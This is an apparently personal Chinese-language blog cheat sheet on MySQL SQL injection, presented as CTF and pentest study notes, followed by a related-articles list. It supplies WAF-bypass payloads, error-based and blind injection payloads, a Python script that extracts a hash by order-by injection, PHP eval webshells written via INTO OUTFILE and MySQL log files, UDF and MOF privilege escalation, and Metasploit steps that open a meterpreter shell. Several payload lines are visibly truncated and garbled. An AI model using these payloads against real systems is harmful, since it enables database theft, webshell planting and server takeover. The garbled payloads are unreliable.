整理下sql相关知识,查漏补缺(长期更新)

1 常用语句及知识

information_schema包含了大量有用的信息,例如下图

mysql.user下有所有的用户信息,其中authentication_string为用户密码的hash,如果可以使用可以修改这个值,那么就可以修改任意用户的密码

常用语句

 当前用户:select user()
 数据库版本:select version() , select @@version
 数据库名:select database()
 操作系统:select @@version_compile_os
 所有变量:show variables
 单个变量:select @@secure_file_priv , show variables like 'secure_file_%'
 爆字段数:... ,...
 查库名:select group_concat(schema_name) from information_schema.schemata
 查表名:select group_concat(table_name) from information_schema.tables where table_schema='库名'
 查字段:select group_concat(column_name) from information_schema.columns where table_name='表名'
 读取某行:select * from mysql.user limit n,m // limit m offset n (第n行之后m行,第一行为0)
 读文件:select load_file('/etc/passwd')
 写文件:select '<?php @eval($_POST[a]);?>' into outfile '/var/www/html/a.php'  //该处文件名无法使用16进制绕过

2 常用函数

 截取字符串:substr(,)、,)、)、),mid(,)
 字符串拼接:concat('a','b','c'),concat_ws(' ','a','b','c')
 多行拼接:group_concat //eg: select group_concat(user) from mysql.user
 时延函数:sleep()、benchmark(,md5(')) //其他方法get_lock(),笛卡尔,rlike等
 编码函数: hex、ord、,,)-36进制转换)
 布尔条件:
  ,,)、position(,,'a','b')=b、
  (  ,,、')...

所有函数及运算符:https://dev.mysql.com/doc/refman/8.0/en/func-op-summary-ref.html

3 绕过方法

绕过空格

、、、/**/、 /*!select*/ 、()、--%0a(可以1-256都跑一遍)

其中%09需要php环境,%0a为\n

/*!select*/为mysql独有。常见用法为/*!50727select 1*/,即当版本号小于等于50727时,执行select 1

绕过单引号

\转义、宽字节,、十六进制绕过

注释方法

/**/、--+、#、;%00、union /*!select*/(mysql独有)

select from union select绕过

,user from mysql.user
select@1,user from mysql.user
,user from mysql.user
select`user`,user from mysql.user
),user from mysql.user
',user from mysql.user
,user from mysql.user

,1e2from mysql.user
,.9from mysql.user
``from mysql.user
''from mysql.user
'from mysql.user
'''from mysql.user
""from mysql.user
"""from mysql.user

 union--%0aselect 2
 union--%0e%0aselect 2
 

set绕过

 ' into @a
 '
 do '

.绕过(点绕过)//select,from等关键字绕过都可以使用

select 0x73656c65637420757365722066726f6d206d7973716c2e75736572 into @s;prepare a from @s;EXECUTE a; //0x736... =>'select user from mysql.user'
),'user');prepare a from @s;EXECUTE a; 

information_schema绕过:

select table_name from mysql.innodb_index_stats 表名
select database_name from mysql.innodb_index_stats 库名
select table_name from mysql.innodb_table_stats 表名
select database_name from mysql.innodb_table_stats 库名

逗号绕过

select * from ((select 1)A join (select 2)B join (select 3)C) union (select * from ctf)
select x.1 from (select * from ((select 1)A join (select 2)B join (select 3)C) union (select * from ctf)x)

4 奇技淫巧

按注入方法分类

数值型注入、字符型注入、二次注入、宽字节注入、堆叠注入...

按语句分类

select注入、update注入、insert注入、order注入、desc注入...

按注入效果分类

回显注入、布尔注入、时间注入、报错注入...

无字段名,同表注入

(1)别名,子查询

 ,, ,

(2)堆叠

, into @a,@b,@c;select @a,@b,@c

order by排序注入

首先假设有这样一张表

有以下代码

 <?php
 $servername = "localhost";
 $username = "root";
 $password = "";
 $dbname = "ctf";
 $conn = new mysqli($servername, $username, $password, $dbname);

 function check($s){
          if(preg_match("/\)|\(|_|\.|\|/i",$s))  #()_.|
        {
              die('hack!');
        }
    }
 $username=$_GET['username'];
 check($username);

 $sql = "select * from user where username='$username'";
 $result = $conn->query($sql);

 if ($result->num_rows > 0) {
     if($row = $result->fetch_assoc()) {
         echo "username: " . $row["username"]."<br>";
     }
 }
 $conn->close();
 ?>

因为()_.|被过滤,所以我们无法从information_schema和函数获取信息。

现在我们要获取admin的flag的hash,但是我们不知道字段名,且没有.不能使用别名或子查询的方式获取,可以使用这样的方法。

下面正式开始

首先我们知道order by 可以排序,所以利用这一点可以进行字符串比较,如下就是order by 对admin进行呢比较我们现在就已经确定前两个字母为ad了

同理

 

现在我们知道admin的flag第一个字符为7了,继续

现在我们知道,前两个字符为79了 //9的ascii为57  :的ascii为58,所以:比9大

以此我们可以写出以下脚本

 import requests

 url= 'http://127.0.0.1/mysql.php'
 flag=''
 for i in range(50):
     for j in range(48,128):
         payload="?username=xxx' or 1=1 union select 1,2,'%s' order by 3 limit 1,2;\x00"%(flag+chr(j))
         r=requests.get(url+payload).text
         print j
         if 'admin' in r:
             flag+=chr(j-1)
             print flag.lower() #793914c9c583d9d86d0f4ed8c521b0c1
             break

order by,desc,asc注入

正常的order语句,因为查询两列,所以order by 1,3报错

但是这样就不报错了,甚至不会大整数溢出

但依然可以注入

方法:使用like,regexp等来进行报错注入

payload

 ,( regexp ),,0x00));
 ,( ),,()));

desc注入

用法:desc mysql.user 等同于show columns from mysql.user

 

怎么利用呢?

漏洞代码:

攻击方法:

payload:  ?table=note`#` where (select database()='d')#`
$sql1 => desc `cms_note`#` where (select database()='d')#`
$sql2 => select * from cms_note`#` where (select database()='d')#` where id = 

floor报错注入

原理:

rand(),随机一个0-1的数

rand(0)即为rand函数设定种子为0,所以它的值是固定的

在表中表现为这样

floor()为向下取整,所以floor(rand(0)*2)即

count:https://dev.mysql.com/doc/refman/8.0/en/counting-rows.html

count为统计行数,当count与group by 一起使用时会新建一个虚拟表,遍历查询结果,将重复数据进行计数,如果结果不存在于虚拟表内,则添加进虚拟表,count数+1。如图所示

一共652行

使用group by后,会统计每个字段出现的次数

所以 select count(*) from mysql.user group by floor(rand(0)*2) 就是这样一个流程

floor(rand(0)*2):0 1 1 0 1 1 0 0 1 1 1 ...

首先产生一个空的虚拟表

查询第一行,第一次执行floor(rand(0)*2)结果为0,此时虚拟表为空,所以直接插入,插入时会再次执行floor(rand(0)*2),该次为第二次所以实际插入key值为1,count为1

查询第二行,第三次执行floor(rand(0)*2)结果为1,虚拟表中已存在1,所以key值1的count+1,

查询第三行,第四次执行floor(rand(0)*2)结果为0,虚拟表中不存在0,所以插入,插入时第五次执行floor(rand(0)*2),该次结果为1,所以插入的key为1,但是key已经存在,所以报错Duplicate entry '1' for key '<group_key>'

所以该报错方式的关键为count、group by、rand。floor只是起到一个辅助作用

payload:

)))x from mysql.user group by x

)))

))) 

xpath报错注入

原理比较简单

 updatexml (XML_document, XPath_string, new_value);
 extractvalue(XML_document, XPath_string)

因为我们输入的第二个参数不符合xpath格式自然报错,xpath_string最大长度为32位,所以报错长度也为32位

(1)extractvalue():

,concat(0x7e,(select user()),0x7e));

(2)updatexml():

,concat();

大整数溢出


,)

name_const列名重复报错

),name_const(version(),))x //只能使用常量和普通字符串

jion列名重复报错

 from mysql.user a join mysql.user b)c

rlike,regexp正则匹配报错:

rlike,regexp

regexp_like()//mysql8.0

 regexp 0x00
 regexp ''
 rlike 0x00

其他报错注入

以下均摘自《代码审计:企业级Web代码安全架构》一书

mysql低版本以下可用的报错

 select geometrycollection((select * from(select * from(select user())a)b));
 select multipoint((select * from(select * from(select user())a)b));
 select polygon((select * from(select * from(select user())a)b));
 select multipolygon((select * from(select * from(select user())a)b));
 select linestring((select * from(select * from(select user())a)b));
 select multilinestring((select * from(select * from(select user())a)b));
 select exp(~(select * from(select user())a));

写webshell

(1) 直接写

查看可写目录范围,默认为空即不可写不可读

select @@secure_file_priv

写入

select '<?php @eval($_POST[shell]); ?>' into outfile '/etc/www/html/shell.php'

(2) 日志写webshell

MySQL日志文件系统的组成
1 错误日志log_error:记录启动、运行或停止mysqld时出现的问题。2 通用日志general_log:记录建立的客户端连接和执行的语句。3 更新日志:记录更改数据的语句。该日志在MySQL 5.1中已不再使用。4 二进制日志:记录所有更改数据的语句。还用于复制。5 慢查询日志slow_query_log:记录所有执行时间超过long_query_time秒(默认10秒)的所有查询或不使用索引的查询。6 Innodb日志:innodb redolog

以下举例两种

 show global variables like "%general%";                 #查看general文件配置情况
 set global general_log='on';                            #开启日志记录
 set global general_log_file='C:/phpstudy/WWW/shell.php';
 select '<?php @eval($_POST[shell]); ?>';                #日志文件导出指定目录
 set global general_log=off;                             #关闭记录
 show variables like '%slow%';                           #慢查询日志

 set GLOBAL slow_query_log_file='C:/phpStudy/PHPTutorial/WWW/slow.php';
 set GLOBAL slow_query_log=on;

 /*set GLOBAL log_queries_not_using_indexes=on;
 show variables like '%log%';*/

 );

udf提权

大致流程如下,将udf文件windows为dll文件 ,linux为so文件导入服务器mysql插件目录即可。

可以自己写一些udf文件来编译。

推荐sqlmap提供的udf文件

https://github.com/sqlmapproject/sqlmap/tree/master/data/udf

因为udf文件较大,详细点击这里

https://files.cnblogs.com/files/kagari/udf.js

MOF提权

转自https://www.cnblogs.com/wintrysec/p/10875242.html

MOF文件是mysql数据库的扩展文件(在c:/windows/system32/wbem/mof/nullevt.mof)

叫做”托管对象格式”,其作用是每隔五秒就会去监控进程创建和死亡

(1) 原理:

MOF文件既然每五秒就会执行,而且是系统权限,我们通过mysql将文件写入一个MOF文件替换掉原有的MOF文件,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。

利用条件

Windows<=2003

mysql在c:windows/system32/mof目录有写权限

已知数据库账号密码

这个提权方式条件非常严苛,数据库在system32写文件这个条件一般很难达到。

而且较新的系统无法使用MOF提权

技巧:

要是能够通过网页连接管理(phpmyadmin),则可以修改host为“%”并刷新权限后,则可以通过msf等工具远程连接数据库。

默认root等账号不允许远程连接,除非管理员或者数据库用户自己设置

Msf直接mof提权

Msf 下有Mof 提权模块 ,不过该漏洞成功跟操作系统权限和Mysql数据库版本有关

执行成功后会直接反弹 shell 到 meterpreter

 use exploit/windows/mysql/mysql_mof
 setrhost 192.168.157.1 #设置需要提权的远程主机IP地址
 setrport  #设置mysql的远程端口
 setpasswordroot #设置mysql数据库root密码
 setusername root #设置mysql用户名
 options #查看设置
 run 

mysql任意文件读漏洞

原理:

1. 当服务端执行load data local infile时,会从客户端会读取对应的文件。 //load data infile则是从服务端本身读取

2. mysql客户端连接服务端时,服务端可以让客户端执行sql语句,

所以伪造一个服务端,让客户端连接并执行load data local infile即可任意文件读。

这里推荐下 ev0A大佬的工具:https://github.com/ev0A/Mysqlist

例子: phpmyadmin开启远程登陆后就会出现该漏洞

参考文章:

https://p0sec.net/index.php/archives/117/

https://www.cnblogs.com/wocalieshenmegui/p/5917967.html

https://www.cnblogs.com/sfriend/p/11365999.html

https://www.cnblogs.com/csyxf/p/10241456.html

https://www.cnblogs.com/wintrysec/p/10875242.html

https://paper.seebug.org/218/

sql注入笔记-mysql的更多相关文章

  1. 预防SQL注入笔记

    SQL注入如何预防? 本文参考自owasp,重点是提供清晰,简单,可操作的指导,以防止应用程序中的SQL注入漏洞.不幸的是,SQL注入攻击很常见,这是由于两个因素: SQL注入漏洞的显着流行 目标的吸 ...

  2. 2019-9-10:渗透测试,基础学习,sql注入笔记

    sql注入1,万能密码,自己写的网站,找到登录窗口,必须和数据库交互,往里插入构造的恶意代码,最后可以直接登录进去,不需要账号和密码,输入的恶意代码成为万能密码,后端拼接的sql语句,SELECT * ...

  3. sql注入原理+mysql相关知识点

    什么是SQL注入 sql就是经常说的数据库,而sql注入就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.SQL注入是比较常见的网络攻击 ...

  4. SQL注入之MySQL常用的查询语句

    MySQL是一种使用很广的数据库,大部分网站都是用MySQL,所以熟悉对MySQL数据库的注入很重要. 首先来说下MySQL注入的相关知识点 在MySQL5.0版本之后,MySQL默认在数据库存放一个 ...

  5. SQL注入之MySQL报错注入整理

    看大佬们的文章看得我虎躯一震,精神抖擞,于是心血来潮,整理一下MySQL报错注入常见的手段和方法,再举几个例子 <代码审计:企业级Web代码安全架构>一书中介绍过报错注入十大方法,依次是: ...

  6. (转载)sql注入实战 mysql篇

    出现的关键名词有: UNION  SELECT   load_file   hex 为了方便说明我们先创建两个表:hehe和heihei,很明显它们一个拥有2列属性,一个拥有3列属性 ======== ...

  7. SQL注入之Mysql报错注入

    --志向和热爱是伟大行为的双翼. 昨天偷懒了没学什么东西,先自我反省一下 - -. 今天认真的学习了一下Mysql报错注入利用方法及原理,好久之前就像认真的学一下这个了,是在上海市大学生网络安全大赛中 ...

  8. sql注入笔记-sqlite

    1. SQLite 1. 常用语句及基本结构 (1)sqlite因为其比较简易每个db文件就是一个数据库,所以不存在information_schema数据库,但存在类似作用的表sqlite_mast ...

  9. SQL注入笔记-updatexml与extractvalue

    0x1介绍 MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数 EXTRACTVALUE(XML_document, XPath_string); UPDATEXML(XML_docu ...

随机推荐

  1. CPCT精细化运营:客户、产品、渠道、时机

    关键词:CPCT.精细化运营思维.客户.产品.渠道.时机.运营 电信运营商市场饱和,用户新增主要靠弃卡后重新入网以及异网用户策反. 用户新增已如此艰难,所以更加关注存量用户经营. 运营商营销资源不断收 ...

  2. java轻松玩转httpget和httppost

    废话不多少说,直接上代码 //get请求 public static void HttpClientGet(String url) throws Exception { // 获取http客户端 Cl ...

  3. 使用vs编写arduino项目

    说实话,arduino官方自带的编辑器有时候用的真不爽.所以直接使用vs开发arduino项目,用起来真爽,一直使用一直爽. 不多废话,直接上图,三部曲结束,搞定,收工. 我用的是vs2015版本的. ...

  4. Week08_day01 (Hive开窗函数 row_number()的使用 (求出所有薪水前两名的部门))

    数据准备: 7369,SMITH,CLERK,7902,1980-12-17,800,null,20 7499,ALLEN,SALESMAN,7698,1981-02-20,1600,300,30 7 ...

  5. PHP获取不到url传递参数中#&等特殊字符解决方法

    有些符号在URL中是不能直接传递的,无法传入PHP处理,比如#&等符号,通过$_GET是获取不到的,比如一个域名https://localhost/url.php?url=yangyufei+ ...

  6. vue 有条件加载组件 执行某方法后再渲染组件

    <component :is="currentCom"></component>   import Grid from './component/grid' ...

  7. OPT

    http://cdn.imgtec.com/sdk-documentation/PowerVR.Performance+Recommendations.pdf 宝贝 https://developer ...

  8. python协程初步---一个生成器的实现

    和列表那种一下占据长度为n的内存空间不同的是,生成器在调用的过程中逐步占据内存空间,因此有着很大的优势 一个斐波纳契数列的例子 def myfibbo(num): a,b=, count= while ...

  9. recyclerview + cardview

    https://www.jianshu.com/p/3a1ea6f78ad5http://qwzs112.iteye.com/blog/2235410https://github.com/mukesh ...

  10. currentTimeMillis与 nanoTime

    时间单位换算 1s=10^3ms(毫秒)=10^6μs(微秒)=10^9ns(纳秒)=10^12ps(皮秒)=10^15fs(飞秒)=10^18as(阿秒)=10^21zm(仄秒)=10^24ym(幺 ...